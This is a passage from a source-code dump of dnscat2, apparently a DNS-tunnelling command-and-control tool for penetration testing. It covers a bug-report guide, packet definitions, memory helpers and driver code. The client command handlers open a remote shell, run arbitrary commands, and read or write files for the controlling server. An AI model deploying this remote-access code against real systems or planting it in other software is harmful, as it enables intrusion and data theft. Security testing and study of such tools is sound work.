58 | sterilize(key) 59 | clear(key) if expired?(key) 60 | regular_reader(key) 61 | end 62 | 63 | def []=(key, *args) 64 | # a little bit o variable hacking to support (h[key, ttl] = value), which will come 65 | # accross as (key, [ttl, value]) whereas (h[key]=value) comes accross as (key, [value]) 66 | if args.length == 2 67 | value, ttl = args[1], args[0] 68 | elsif args.length == 1 69 | value, ttl = args[0], 10 70 | else 71 | raise ArgumentError, "Wrong number of arguments, expected 2 or 3, received: #{args.length+1}\n"+ 72 | "Example Usage: volatile_hash[:key]=value OR volatile_hash[:key, ttl]=value" 73 | end 74 | sterilize(key) 75 | ttl(key, ttl) 76 | regular_writer(key, value) 77 | end 78 | 79 | def merge(hsh) 80 | hsh.map {|key,value| self[sterile(key)] = hsh[key]} 81 | self 82 | end 83 | 84 | def cleanup! 85 | now = Time.now.to_i 86 | @register.map {|k,v| clear(k) if v < now} 87 | end 88 | 89 | def clear(key) 90 | sterilize(key) 91 | @register.delete key 92 | self.delete key 93 | end 94 | 95 | private 96 | def expired?(key) 97 | Time.now.to_i > @register[key].to_i 98 | end 99 | 100 | def ttl(key, secs=60) 101 | @register[key] = Time.now.to_i + secs.to_i 102 | end 103 | 104 | def sterile(key) 105 | String === key ? key.chomp('!').chomp('=') : key.to_s.chomp('!').chomp('=').to_sym 106 | end 107 | 108 | def sterilize(key) 109 | key = sterile(key) 110 | end 111 | end 112 | -------------------------------------------------------------------------------- /doc/how_to_bug_report.md: -------------------------------------------------------------------------------- 1 | Lately, dnscat2 has gotten enough use that I'm getting hard-to-reproduce 2 | bug reports! That's great news for the project, but bad news for me as 3 | the only developer. :) 4 | 5 | # Getting started 6 | 7 | If you're an expert and you don't mind taking the time out to 8 | troubleshoot it, that's great! The info below will explain how to get 9 | the best debug logs currently available. There are also a bunch of 10 | documents in this folder about the client and server architecture. Try 11 | [contributing.md](contributing.md), 12 | [client_architecture.md](client_architecture.md), and 13 | [server_architecture.md](server_architecture.md). 14 | [protocol.md](protocol.md) might also come in handy! 15 | 16 | If you don't have the time or desire to troubleshoot yourself, that's 17 | cool! Please file a bug on 18 | [Github](https://github.com/iagox86/dnscat2/issues). If you email me, 19 | I'll probably ask you to file it on github. 20 | 21 | If you aren't able to file the bug publicly, perhaps because of private 22 | IP addresses, you can email me directly - ron-at-skullsecurity-dot-net. 23 | 24 | For most bugs, full client and server logs are super helpful. There's 25 | information below on how to get them. If it's a network issue, then I'd 26 | love to have a pcap, and it's a segmentation fault, I could use a 27 | backtrace. All information on how to do that is below! 28 | 29 | The examples below disable encryption for easier troubleshooting. If the 30 | problem goes away, or you suspect it's a problem with encryption, then 31 | don't set `--security=open` on the server or `--no-encryption` on the 32 | client! 33 | 34 | ## Getting server logs... 35 | 36 | On the server, there are a few helpful options: 37 | 38 | * Log *everything* to stdout: `--firehose` 39 | * Display detailed packet information: `--packet-trace` 40 | * Temporarily allow unencrypted connections: `--security=open` 41 | * Enable debug mode for ruby: `ruby -d [...]` 42 | 43 | Here's the command: 44 | 45 | # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] 46 | 47 | You can also redirect it into a file, though running commands might be 48 | tricky: 49 | 50 | # ruby -d dnscat2.rb --packet-trace --firehose --security=open [other options] 2>&1 | tee server-logfile.txt 51 | 52 | ## Getting client logs... 53 | 54 | Basically, you want to create a debug build, then run it with the 55 | following additional options: 56 | 57 | * Extra debug output: `-d` 58 | * Display packet information: `--packet-trace` 59 | * Disable encryption: `--no-encryption` 60 | 61 | Here are the commands: 62 | 63 | $ make clean debug 64 | $ ./dnscat -d --packet-trace --no-encryption [other options] 65 | 66 | You can also redirect it into a file: 67 | 68 | $ ./dnscat -d --packet-trace --no-encryption [other options] 2>&1 | tee client-logfile.txt 69 | 70 | ## Getting a pcap 71 | 72 | If your problem is with the real transport (like UDP) - typically, that 73 | means if the server sees nothing or just errors - then a pcap is 74 | helpful! 75 | 76 | You can run the command the same way as earlier, ensuring that the 77 | server uses `--security=open` and the client uses `--no-encryption`, 78 | then run a packet capture. 79 | 80 | I find it helpful to manually set a less-common but legit DNS server 81 | manually, such as 4.2.2.5 or 8.8.4.4, then to filter on those: 82 | 83 | # tcpdump -s0 -w dnscat2-traffic.pcap host 4.2.2.5 84 | 85 | That should generate dnscat2-traffic.pcap (depending on your OS, it 86 | might be put somewhere weird; Gentoo runs tcpdump in a chroot 87 | environment by default). 88 | 89 | ## Segmentation faults 90 | 91 | If you have a reproduceable segmentation fault on the client, please try 92 | to send me a corefile: 93 | 94 | $ ulimit -c unlimited 95 | $ make clean debug 96 | $ ./dnscat2 [options] 97 | 98 | That should generate some sort of corefile you can send me. 99 | 100 | If you're unable to get a corefile, or uncomfortable sharing one, then a 101 | backtrace and registers at a minimum would be helpful: 102 | 103 | $ make clean debug 104 | $ gdb --args ./dnscat2 [options] 105 | 106 | When the process crashes: 107 | 108 | (gdb) bt 109 | [...] 110 | (gdb) info reg 111 | [...] 112 | 113 | And send along the information! 114 | -------------------------------------------------------------------------------- /client/drivers/command/commands_standard.h: -------------------------------------------------------------------------------- 1 | /* commands_standard.c 2 | * By Ron Bowes 3 | * Created December, 2015 4 | * 5 | * See LICENSE.md 6 | * 7 | * Despite the name, this isn't realllly a header file. I moved some of 8 | * the functions into it to keep them better organized. 9 | */ 10 | 11 | static command_packet_t *handle_ping(driver_command_t *driver, command_packet_t *in) 12 | { 13 | if(!in->is_request) 14 | return NULL; 15 | 16 | LOG_WARNING("Got a ping request! Responding!"); 17 | return command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); 18 | } 19 | 20 | static command_packet_t *handle_shell(driver_command_t *driver, command_packet_t *in) 21 | { 22 | session_t *session = NULL; 23 | 24 | if(!in->is_request) 25 | return NULL; 26 | 27 | #ifdef WIN32 28 | session = session_create_exec(driver->group, "cmd.exe", "cmd.exe"); 29 | #else 30 | session = session_create_exec(driver->group, "sh", "sh"); 31 | #endif 32 | controller_add_session(session); 33 | 34 | return command_packet_create_shell_response(in->request_id, session->id); 35 | } 36 | 37 | static command_packet_t *handle_exec(driver_command_t *driver, command_packet_t *in) 38 | { 39 | session_t *session = NULL; 40 | 41 | if(!in->is_request) 42 | return NULL; 43 | 44 | session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command); 45 | controller_add_session(session); 46 | 47 | return command_packet_create_exec_response(in->request_id, session->id); 48 | } 49 | 50 | static command_packet_t *handle_download(driver_command_t *driver, command_packet_t *in) 51 | { 52 | struct stat s; 53 | uint8_t *data; 54 | FILE *f = NULL; 55 | command_packet_t *out = NULL; 56 | 57 | if(!in->is_request) 58 | return NULL; 59 | 60 | if(stat(in->r.request.body.download.filename, &s) != 0) 61 | return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); 62 | 63 | #ifdef WIN32 64 | fopen_s(&f, in->r.request.body.download.filename, "rb"); 65 | #else 66 | f = fopen(in->r.request.body.download.filename, "rb"); 67 | #endif 68 | if(!f) 69 | return command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); 70 | 71 | data = safe_malloc(s.st_size); 72 | if(fread(data, 1, s.st_size, f) == s.st_size) 73 | out = command_packet_create_download_response(in->request_id, data, s.st_size); 74 | else 75 | out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); 76 | 77 | fclose(f); 78 | safe_free(data); 79 | 80 | return out; 81 | } 82 | 83 | static command_packet_t *handle_upload(driver_command_t *driver, command_packet_t *in) 84 | { 85 | FILE *f; 86 | 87 | if(!in->is_request) 88 | return NULL; 89 | 90 | #ifdef WIN32 91 | fopen_s(&f, in->r.request.body.upload.filename, "wb"); 92 | #else 93 | f = fopen(in->r.request.body.upload.filename, "wb"); 94 | #endif 95 | 96 | if(!f) 97 | return command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); 98 | 99 | fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); 100 | fclose(f); 101 | 102 | return command_packet_create_upload_response(in->request_id); 103 | } 104 | 105 | static command_packet_t *handle_shutdown(driver_command_t *driver, command_packet_t *in) 106 | { 107 | if(!in->is_request) 108 | return NULL; 109 | 110 | controller_kill_all_sessions(); 111 | 112 | return command_packet_create_shutdown_response(in->request_id); 113 | } 114 | 115 | static command_packet_t *handle_delay(driver_command_t *driver, command_packet_t *in) 116 | { 117 | if(!in->is_request) 118 | return NULL; 119 | 120 | session_set_delay(in->r.request.body.delay.delay); 121 | 122 | return command_packet_create_delay_response(in->request_id); 123 | } 124 | 125 | static command_packet_t *handle_error(driver_command_t *driver, command_packet_t *in) 126 | { 127 | if(!in->is_request) 128 | LOG_ERROR("An error response was returned: %d -> %s", in->r.response.body.error.status, in->r.response.body.error.reason); 129 | else 130 | LOG_ERROR("An error request was sent (weird?): %d -> %s", in->r.request.body.error.status, in->r.request.body.error.reason); 131 | 132 | return NULL; 133 | } 134 | -------------------------------------------------------------------------------- /client/controller/packet.h: -------------------------------------------------------------------------------- 1 | /* packet.h 2 | * By Ron Bowes 3 | * Created March, 2013 4 | * 5 | * See LICENSE.md 6 | * 7 | * A class for creating and parsing dnscat packets. This is part of the 8 | * "dnscat protocol", it's assumed that the packets are already marshalled 9 | * and unmarshalled by a tunnelling protocol. 10 | */ 11 | 12 | #ifndef __PACKET_H__ 13 | #define __PACKET_H__ 14 | 15 | #include 16 | 17 | #ifdef WIN32 18 | #include "libs/pstdint.h" 19 | #else 20 | #include 21 | #endif 22 | 23 | #define MAX_PACKET_SIZE 1024 24 | 25 | typedef enum 26 | { 27 | PACKET_TYPE_SYN = 0x00, 28 | PACKET_TYPE_MSG = 0x01, 29 | PACKET_TYPE_FIN = 0x02, 30 | #ifndef NO_ENCRYPTION 31 | PACKET_TYPE_ENC = 0x03, 32 | #endif 33 | PACKET_TYPE_COUNT_NOT_PING, 34 | 35 | PACKET_TYPE_PING = 0xFF, 36 | 37 | } packet_type_t; 38 | 39 | char *packet_type_to_string(packet_type_t type); 40 | 41 | typedef enum 42 | { 43 | PACKET_ENC_SUBTYPE_INIT = 0x00, 44 | PACKET_ENC_SUBTYPE_AUTH = 0x01, 45 | } packet_enc_subtype_t; 46 | 47 | typedef struct 48 | { 49 | uint16_t seq; 50 | uint16_t options; 51 | char *name; 52 | } syn_packet_t; 53 | 54 | typedef enum 55 | { 56 | OPT_NAME = 0x0001, 57 | /* OPT_TUNNEL = 2, // Deprecated */ 58 | /* OPT_DATAGRAM = 4, // Deprecated */ 59 | /* OPT_DOWNLOAD = 8, // Deprecated */ 60 | /* OPT_CHUNKED_DOWNLOAD = 16, // Deprecated */ 61 | OPT_COMMAND = 0x0020, 62 | } options_t; 63 | 64 | typedef struct 65 | { 66 | uint16_t seq; 67 | uint16_t ack; 68 | } normal_msg_t; 69 | 70 | typedef struct 71 | { 72 | uint16_t seq; 73 | uint16_t ack; 74 | uint8_t *data; 75 | size_t data_length; 76 | } msg_packet_t; 77 | 78 | typedef struct 79 | { 80 | char *reason; 81 | } fin_packet_t; 82 | 83 | typedef struct 84 | { 85 | char *data; 86 | } ping_packet_t; 87 | 88 | #ifndef NO_ENCRYPTION 89 | typedef struct 90 | { 91 | packet_enc_subtype_t subtype; 92 | uint16_t flags; 93 | 94 | uint8_t public_key[64]; 95 | 96 | uint8_t authenticator[32]; 97 | } enc_packet_t; 98 | #endif 99 | 100 | typedef struct 101 | { 102 | uint16_t packet_id; 103 | packet_type_t packet_type; 104 | uint16_t session_id; 105 | 106 | union 107 | { 108 | syn_packet_t syn; 109 | msg_packet_t msg; 110 | fin_packet_t fin; 111 | ping_packet_t ping; 112 | #ifndef NO_ENCRYPTION 113 | enc_packet_t enc; 114 | #endif 115 | } body; 116 | } packet_t; 117 | 118 | /* Parse a packet from a byte stream. */ 119 | packet_t *packet_parse(uint8_t *data, size_t length, options_t options); 120 | 121 | /* Just get the session_id. */ 122 | uint16_t packet_peek_session_id(uint8_t *data, size_t length); 123 | 124 | /* Create a packet with the given characteristics. */ 125 | packet_t *packet_create_syn(uint16_t session_id, uint16_t seq, options_t options); 126 | packet_t *packet_create_msg(uint16_t session_id, uint16_t seq, uint16_t ack, uint8_t *data, size_t data_length); 127 | packet_t *packet_create_fin(uint16_t session_id, char *reason); 128 | packet_t *packet_create_ping(uint16_t session_id, char *data); 129 | 130 | #ifndef NO_ENCRYPTION 131 | packet_t *packet_create_enc(uint16_t session_id, uint16_t flags); 132 | #endif 133 | 134 | /* Set the OPT_NAME field and add a name value. */ 135 | void packet_syn_set_name(packet_t *packet, char *name); 136 | 137 | /* Set the OPT_COMMAND flag */ 138 | void packet_syn_set_is_command(packet_t *packet); 139 | 140 | #ifndef NO_ENCRYPTION 141 | /* Set up an encrypted session. */ 142 | void packet_enc_set_init(packet_t *packet, uint8_t *public_key); 143 | 144 | /* Authenticate with a PSK. */ 145 | void packet_enc_set_auth(packet_t *packet, uint8_t *authenticator); 146 | #endif 147 | 148 | /* Get minimum packet sizes so we can avoid magic numbers. */ 149 | size_t packet_get_msg_size(options_t options); 150 | size_t packet_get_ping_size(); 151 | 152 | /* Free the packet data structures. */ 153 | void packet_destroy(packet_t *packet); 154 | 155 | /* Print the packet (debugging, mostly) */ 156 | void packet_print(packet_t *packet, options_t options); 157 | 158 | /* Needs to be freed with safe_free() */ 159 | uint8_t *packet_to_bytes(packet_t *packet, size_t *length, options_t options); 160 | 161 | /* Create a new copy of the packet. */ 162 | packet_t *packet_clone(packet_t *packet, options_t options); 163 | 164 | #endif 165 | -------------------------------------------------------------------------------- /client/libs/memory.c: -------------------------------------------------------------------------------- 1 | /* memory.c 2 | * By Ron 3 | * Created January, 2010 4 | * 5 | * (See LICENSE.md) 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "memory.h" 14 | 15 | typedef struct entry 16 | { 17 | char *file; 18 | int line; 19 | void *memory; 20 | size_t size; 21 | struct entry *next; 22 | } entry_t; 23 | 24 | #ifdef TESTMEMORY 25 | static entry_t *first = NULL; 26 | #endif 27 | 28 | static void die(char *msg, char *file, int line) 29 | { 30 | printf("\n\nUnrecoverable error at %s:%d: %s\n\n", file, line, msg); 31 | abort(); 32 | exit(1); 33 | } 34 | 35 | static void die_mem(char *file, int line) 36 | { 37 | die("Out of memory", file, line); 38 | } 39 | 40 | void add_entry(char *file, int line, void *memory, size_t size) 41 | { 42 | #ifdef TESTMEMORY 43 | entry_t *current = (entry_t*) malloc(sizeof(entry_t)); 44 | if(!current) 45 | die_mem(file, line); 46 | 47 | /* Put the new entry at the front of the list. */ 48 | current->next = first; 49 | first = current; 50 | 51 | current->file = file; 52 | current->line = line; 53 | current->memory = memory; 54 | current->size = size; 55 | #endif 56 | } 57 | 58 | void update_entry(void *old_memory, void *new_memory, int new_size, char *file, int line) 59 | { 60 | #ifdef TESTMEMORY 61 | entry_t *current = first; 62 | 63 | while(current) 64 | { 65 | if(current->memory == old_memory) 66 | { 67 | current->memory = new_memory; 68 | current->size = new_size; 69 | return; 70 | } 71 | current = current->next; 72 | } 73 | 74 | die("Tried to re-allocate memory that doesn't exist.", file, line); 75 | #endif 76 | } 77 | 78 | void remove_entry(void *memory, char *file, int line) 79 | { 80 | #ifdef TESTMEMORY 81 | entry_t *last = NULL; 82 | entry_t *current = first; 83 | 84 | while(current) 85 | { 86 | if(current->memory == memory) 87 | { 88 | if(current == first) 89 | { 90 | /* Beginning of the list. */ 91 | first = first->next; 92 | free(current); 93 | } 94 | else 95 | { 96 | /* Anywhere else in the list. */ 97 | last->next = current->next; 98 | free(current); 99 | } 100 | 101 | return; 102 | } 103 | last = current; 104 | current = current->next; 105 | } 106 | 107 | die("Tried to free memory that we didn't allocate (or that's already been freed)", file, line); 108 | #endif 109 | } 110 | 111 | void print_memory() 112 | { 113 | #ifdef TESTMEMORY 114 | if(first == NULL) 115 | { 116 | fprintf(stderr, "No allocated memory. Congratulations!\n"); 117 | } 118 | else 119 | { 120 | entry_t *current = first; 121 | 122 | fprintf(stderr, "Allocated memory:\n"); 123 | while(current) 124 | { 125 | fprintf(stderr, "%p: 0x%08x bytes allocated at %s:%d\n", current->memory, (unsigned int)current->size, current->file, current->line); 126 | current = current->next; 127 | } 128 | } 129 | #endif 130 | } 131 | 132 | void *safe_malloc_internal(size_t size, char *file, int line) 133 | { 134 | void *ret = malloc(size); 135 | if(!ret) 136 | die_mem(file, line); 137 | memset(ret, 0, size); 138 | 139 | add_entry(file, line, ret, size); 140 | return ret; 141 | } 142 | 143 | void *safe_realloc_internal(void *ptr, size_t size, char *file, int line) 144 | { 145 | void *ret = realloc(ptr, size); 146 | if(!ret) 147 | die_mem(file, line); 148 | 149 | update_entry(ptr, ret, size, file, line); 150 | return ret; 151 | } 152 | 153 | char *safe_strdup_internal(const char *str, char *file, int line) 154 | { 155 | char *ret; 156 | 157 | if(strlen(str) + 1 < strlen(str)) 158 | die("Overflow.", file, line); 159 | 160 | ret = safe_malloc_internal(strlen(str) + 1, file, line); 161 | memcpy(ret, str, strlen(str) + 1); 162 | 163 | return ret; 164 | } 165 | 166 | void *safe_memcpy_internal(const void *data, size_t length, char *file, int line) 167 | { 168 | uint8_t *ret; 169 | 170 | ret = safe_malloc_internal(length, file, line); 171 | memcpy(ret, data, length); 172 | 173 | return ret; 174 | } 175 | 176 | void safe_free_internal(void *ptr, char *file, int line) 177 | { 178 | remove_entry(ptr, file, line); 179 | free(ptr); 180 | } 181 | -------------------------------------------------------------------------------- /server/libs/commander.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # commander.rb 3 | # By Ron Bowes 4 | # Created August 29, 2015 5 | # 6 | # See LICENSE.md 7 | # 8 | # This is a class designed for registering commandline-style commands that 9 | # are parsed and passed to handlers. 10 | # 11 | # After instantiating this class, register_command() is used to register 12 | # new commands. register_alias() can also be used to create command aliases. 13 | # 14 | # Later, when the user types something that should be parsed as a command, the 15 | # feed() function is called with the string the user passed. It attempts to 16 | # parse it as a commandline-like string and call the appropriate function. 17 | # 18 | # This class uses the shellwords and trollop libraries to do much of the heavy 19 | # lifting. 20 | ## 21 | 22 | require 'shellwords' 23 | require 'trollop' 24 | 25 | class Commander 26 | def initialize() 27 | @commands = {} 28 | @aliases = {} 29 | end 30 | 31 | # Register a new command. The 'name' is the name the user types to activate 32 | # the command. The parser is a Trollop::Parser instance, have a look at 33 | # controller_commands.rb or driver_command_commands.rb to see how that's used. 34 | # The func is a Proc that's called with two variables: opts, which is the 35 | # command-line arguments parsed as per the parser; and optarg, which is 36 | # everything that isn't parsed. 37 | def register_command(name, parser, func) 38 | @commands[name] = { 39 | :parser => parser, 40 | :func => func, 41 | } 42 | end 43 | 44 | # Register an alias; if the user types 'name', it calls the handler for 45 | # 'points_to'. This is recursive. 46 | def register_alias(name, points_to) 47 | @aliases[name] = points_to 48 | end 49 | 50 | def _resolve_alias(command) 51 | while(!@aliases[command].nil?) 52 | command = @aliases[command] 53 | end 54 | 55 | return command 56 | end 57 | 58 | # Treating data as either a command or a full command string, this gets 59 | # information about the command the user tried to use, and prints help 60 | # to stream (stream.puts() and stream.printf() are required). 61 | # 62 | # The dependence on passing in a stream is sub-optimal, but it's the only 63 | # way that Trollop works. 64 | def educate(data, stream) 65 | begin 66 | args = Shellwords.shellwords(data) 67 | rescue ArgumentError 68 | return 69 | end 70 | 71 | if(args.length == 0) 72 | return 73 | end 74 | 75 | command = args.shift() 76 | if(command.nil?) 77 | return 78 | end 79 | 80 | command = _resolve_alias(command) 81 | 82 | command = @commands[command] 83 | if(command.nil?) 84 | return 85 | end 86 | 87 | command[:parser].educate(stream) 88 | end 89 | 90 | # Print all commands to stream. 91 | def help(stream) 92 | stream.puts() 93 | stream.puts("Here is a list of commands (use -h on any of them for additional help):") 94 | @commands.keys.sort.each do |command| 95 | stream.puts("* #{command}") 96 | end 97 | end 98 | 99 | # Try to parse a line typed in by the user as a command, calling the 100 | # appropriate handler function, if the user typed a bad command. 101 | # 102 | # This will throw an ArgumentError for various reasons, including 103 | # unknown commands, badly quoted strings, and bad arguments. 104 | def feed(data) 105 | if(data[0] == '!') 106 | system(data[1..-1]) 107 | return 108 | end 109 | args = Shellwords.shellwords(data) 110 | 111 | if(args.length == 0) 112 | return 113 | end 114 | command = _resolve_alias(args.shift()) 115 | 116 | if(@commands[command].nil?) 117 | raise(ArgumentError, "Unknown command: #{command}") 118 | end 119 | 120 | begin 121 | command = @commands[command] 122 | command[:parser].stop_on("--") 123 | opts = command[:parser].parse(args) 124 | optval = "" 125 | optarr = command[:parser].leftovers 126 | if(!optarr.nil?()) 127 | if(optarr[0] == "--") 128 | optarr.shift() 129 | end 130 | optval = optarr.join(" ") 131 | end 132 | command[:func].call(opts, optval) 133 | rescue Trollop::CommandlineError => e 134 | raise(ArgumentError, e.message) 135 | rescue Trollop::HelpNeeded => e 136 | raise(ArgumentError, "The user requested help") 137 | end 138 | end 139 | end 140 | -------------------------------------------------------------------------------- /client/libs/crypto/encryptor_sas_dict.h: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * encryptor_sas_dict.h 4 | * Created by Ron Bowes 5 | * October, 2015 6 | * 7 | * See LICENSE.md 8 | */ 9 | 10 | char *sas_dict[] = { 11 | "Abate", 12 | "Absorb", 13 | "Ache", 14 | "Acidy", 15 | "Across", 16 | "After", 17 | "Alike", 18 | "Amount", 19 | "Amuse", 20 | "Annoy", 21 | "Annuls", 22 | "Ardent", 23 | "Ascot", 24 | "Bait", 25 | "Barons", 26 | "Barret", 27 | "Bask", 28 | "Becurl", 29 | "Befool", 30 | "Bell", 31 | "Bifold", 32 | "Bogie", 33 | "Boxen", 34 | "Bozo", 35 | "Broke", 36 | "Bulby", 37 | "Bunny", 38 | "Calmly", 39 | "Canary", 40 | "Cargo", 41 | "Chirp", 42 | "Chroma", 43 | "Cleft", 44 | "Coke", 45 | "Column", 46 | "Comely", 47 | "Cometh", 48 | "Convoy", 49 | "Corn", 50 | "Cough", 51 | "Cruxes", 52 | "Cued", 53 | "Darter", 54 | "Dash", 55 | "Dating", 56 | "Deadly", 57 | "Deaf", 58 | "Decade", 59 | "Deepen", 60 | "Depict", 61 | "Domed", 62 | "Dorper", 63 | "Drafts", 64 | "Dried", 65 | "Duff", 66 | "Durian", 67 | "Early", 68 | "Easily", 69 | "Eggars", 70 | "Emboss", 71 | "Emit", 72 | "Encode", 73 | "Ennui", 74 | "Envied", 75 | "Essay", 76 | "Evites", 77 | "Evoke", 78 | "Exotic", 79 | "Facile", 80 | "Fate", 81 | "Feisty", 82 | "Fewest", 83 | "Fifty", 84 | "Filth", 85 | "Finer", 86 | "Fished", 87 | "Flacks", 88 | "Flaunt", 89 | "Fleecy", 90 | "Flied", 91 | "Foams", 92 | "Foxes", 93 | "Freely", 94 | "Frozen", 95 | "Genome", 96 | "Gibbon", 97 | "Gifts", 98 | "Giving", 99 | "Gold", 100 | "Gone", 101 | "Gouge", 102 | "Grocer", 103 | "Grows", 104 | "Half", 105 | "Handle", 106 | "Harold", 107 | "Harp", 108 | "Hedges", 109 | "Hither", 110 | "Hobbit", 111 | "Hobble", 112 | "Hoods", 113 | "Hooked", 114 | "Horror", 115 | "Horsed", 116 | "Hound", 117 | "Huns", 118 | "Ices", 119 | "Impish", 120 | "Jiber", 121 | "Jiggy", 122 | "Kelpy", 123 | "Keyman", 124 | "Khan", 125 | "Killer", 126 | "Klutzy", 127 | "Lair", 128 | "Lashes", 129 | "Libate", 130 | "Liming", 131 | "Lonely", 132 | "Looks", 133 | "Lordy", 134 | "Lush", 135 | "Mailer", 136 | "Maps", 137 | "Mayo", 138 | "Mcgill", 139 | "Mona", 140 | "Motive", 141 | "Mousy", 142 | "Neigh", 143 | "Ninjas", 144 | "Nodule", 145 | "Nuns", 146 | "Obese", 147 | "Olive", 148 | "Omelet", 149 | "Omen", 150 | "Otto", 151 | "Outran", 152 | "Ouzo", 153 | "Owls", 154 | "Papism", 155 | "Parrot", 156 | "Peace", 157 | "Pearly", 158 | "Peaty", 159 | "Pedal", 160 | "Pegged", 161 | "Petals", 162 | "Phials", 163 | "Pianos", 164 | "Pierce", 165 | "Pigs", 166 | "Pikey", 167 | "Pitch", 168 | "Plato", 169 | "Plays", 170 | "Plight", 171 | "Poetic", 172 | "Poker", 173 | "Polite", 174 | "Pontic", 175 | "Pony", 176 | "Powers", 177 | "Poxes", 178 | "Prams", 179 | "Pulped", 180 | "Purr", 181 | "Push", 182 | "Quint", 183 | "Random", 184 | "Rapier", 185 | "Ravel", 186 | "Real", 187 | "Rebolt", 188 | "Recoil", 189 | "Redear", 190 | "Reink", 191 | "Ripe", 192 | "Riprap", 193 | "Roger", 194 | "Ropers", 195 | "Roving", 196 | "Rumor", 197 | "Sanded", 198 | "Sawlog", 199 | "Sawman", 200 | "Scribe", 201 | "Scruff", 202 | "Seitan", 203 | "Sense", 204 | "Shirks", 205 | "Sippy", 206 | "Sitcom", 207 | "Slumpy", 208 | "Softy", 209 | "Sonar", 210 | "Sonny", 211 | "Sophic", 212 | "Spear", 213 | "Spiced", 214 | "Spikey", 215 | "Spine", 216 | "Spoofy", 217 | "Spring", 218 | "Static", 219 | "Staved", 220 | "Stilt", 221 | "Stinty", 222 | "Stirs", 223 | "Storer", 224 | "Story", 225 | "Strode", 226 | "Stump", 227 | "Suited", 228 | "Surfs", 229 | "Swatch", 230 | "Swum", 231 | "Tables", 232 | "Taking", 233 | "Tattoo", 234 | "Teal", 235 | "Teeth", 236 | "Telco", 237 | "Timer", 238 | "Tins", 239 | "Tonite", 240 | "Tore", 241 | "Tort", 242 | "Tried", 243 | "Trivia", 244 | "Tubule", 245 | "Tusked", 246 | "Twins", 247 | "Twos", 248 | "Unborn", 249 | "Undam", 250 | "Unwrap", 251 | "Upcurl", 252 | "Upseal", 253 | "Visas", 254 | "Volume", 255 | "Waded", 256 | "Wages", 257 | "Ware", 258 | "Wears", 259 | "Wicked", 260 | "Winful", 261 | "Wisely", 262 | "Wisp", 263 | "Yerba", 264 | "Zester", 265 | "Zoner", 266 | "Zootic", 267 | }; 268 | 269 | -------------------------------------------------------------------------------- /client/drivers/driver.c: -------------------------------------------------------------------------------- 1 | /* driver.c 2 | * By Ron Bowes 3 | * 4 | * See LICENSE.md 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #ifndef WIN32 13 | #include 14 | #endif 15 | 16 | #include "libs/log.h" 17 | #include "libs/memory.h" 18 | #include "driver_console.h" 19 | 20 | #include "driver.h" 21 | 22 | driver_t *driver_create(driver_type_t type, void *real_driver) 23 | { 24 | driver_t *driver = (driver_t *)safe_malloc(sizeof(driver_t)); 25 | driver->type = type; 26 | 27 | switch(type) 28 | { 29 | case DRIVER_TYPE_CONSOLE: 30 | driver->real_driver.console = (driver_console_t*) real_driver; 31 | break; 32 | 33 | case DRIVER_TYPE_EXEC: 34 | driver->real_driver.exec = (driver_exec_t*) real_driver; 35 | break; 36 | 37 | case DRIVER_TYPE_COMMAND: 38 | driver->real_driver.command = (driver_command_t*) real_driver; 39 | break; 40 | 41 | case DRIVER_TYPE_PING: 42 | driver->real_driver.ping = (driver_ping_t*) real_driver; 43 | break; 44 | 45 | default: 46 | LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_create)\n", type); 47 | exit(1); 48 | break; 49 | } 50 | 51 | return driver; 52 | } 53 | 54 | void driver_destroy(driver_t *driver) 55 | { 56 | switch(driver->type) 57 | { 58 | case DRIVER_TYPE_CONSOLE: 59 | driver_console_destroy(driver->real_driver.console); 60 | break; 61 | 62 | case DRIVER_TYPE_EXEC: 63 | driver_exec_destroy(driver->real_driver.exec); 64 | break; 65 | 66 | case DRIVER_TYPE_COMMAND: 67 | driver_command_destroy(driver->real_driver.command); 68 | break; 69 | 70 | case DRIVER_TYPE_PING: 71 | driver_ping_destroy(driver->real_driver.ping); 72 | break; 73 | 74 | default: 75 | LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_destroy)\n", driver->type); 76 | exit(1); 77 | break; 78 | } 79 | 80 | safe_free(driver); 81 | } 82 | 83 | void driver_close(driver_t *driver) 84 | { 85 | switch(driver->type) 86 | { 87 | case DRIVER_TYPE_CONSOLE: 88 | driver_console_close(driver->real_driver.console); 89 | break; 90 | 91 | case DRIVER_TYPE_EXEC: 92 | driver_exec_close(driver->real_driver.exec); 93 | break; 94 | 95 | case DRIVER_TYPE_COMMAND: 96 | driver_command_close(driver->real_driver.command); 97 | break; 98 | 99 | case DRIVER_TYPE_PING: 100 | driver_ping_close(driver->real_driver.ping); 101 | break; 102 | 103 | default: 104 | LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_close)\n", driver->type); 105 | exit(1); 106 | break; 107 | } 108 | } 109 | 110 | void driver_data_received(driver_t *driver, uint8_t *data, size_t length) 111 | { 112 | switch(driver->type) 113 | { 114 | case DRIVER_TYPE_CONSOLE: 115 | driver_console_data_received(driver->real_driver.console, data, length); 116 | break; 117 | 118 | case DRIVER_TYPE_EXEC: 119 | driver_exec_data_received(driver->real_driver.exec, data, length); 120 | break; 121 | 122 | case DRIVER_TYPE_COMMAND: 123 | driver_command_data_received(driver->real_driver.command, data, length); 124 | break; 125 | 126 | case DRIVER_TYPE_PING: 127 | driver_ping_data_received(driver->real_driver.ping, data, length); 128 | break; 129 | 130 | default: 131 | LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_data_received)\n", driver->type); 132 | exit(1); 133 | break; 134 | } 135 | } 136 | 137 | uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length) 138 | { 139 | switch(driver->type) 140 | { 141 | case DRIVER_TYPE_CONSOLE: 142 | return driver_console_get_outgoing(driver->real_driver.console, length, max_length); 143 | break; 144 | 145 | case DRIVER_TYPE_EXEC: 146 | return 